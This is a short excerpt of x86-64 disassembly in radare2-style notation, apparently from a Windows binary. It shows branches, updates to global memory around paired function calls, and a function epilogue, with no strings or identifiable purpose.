cmp edx, 1
jne 0x140023e22
cmp byte [rax + 0xb1], 0
je 0x140023e22
mov qword [rax + 0x10], 0xfffffffffffffade
jmp 0x140023e22
nop
nop
lea rax, [0x1403c5010]
mov qword [rsp], rax
call fcn.140009f00
nop
mov rax, qword [0x1403c4fb0]
sub rax, qword [0x1403c4f80]
mov qword [0x1403c4fb0], rax
mov rax, qword [0x1403c4f98]
mov rcx, qword [rsp + 0x48]
mov qword [rcx], rax
mov qword [0x1403c4f98], rcx
nop
nop
lea rax, [0x1403c5010]
mov qword [rsp], rax
call fcn.14000a160
mov byte [rsp + 0x88], 0
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
lea rcx, [rax + 0x20]
mov rdi, rcx
mov rbx, qword [rsp + 0x78]
call fcn.1400598c0
lea rdi, [rax + 0x28]
mov rcx, qword [rsp + 0x80]
call fcn.140059880
jmp 0x140023dfb
mov rcx, qword [rsp + 0x68]
call fcn.140059880
jmp 0x140023dc8
call fcn.140057a20
jmp fcn.140023d40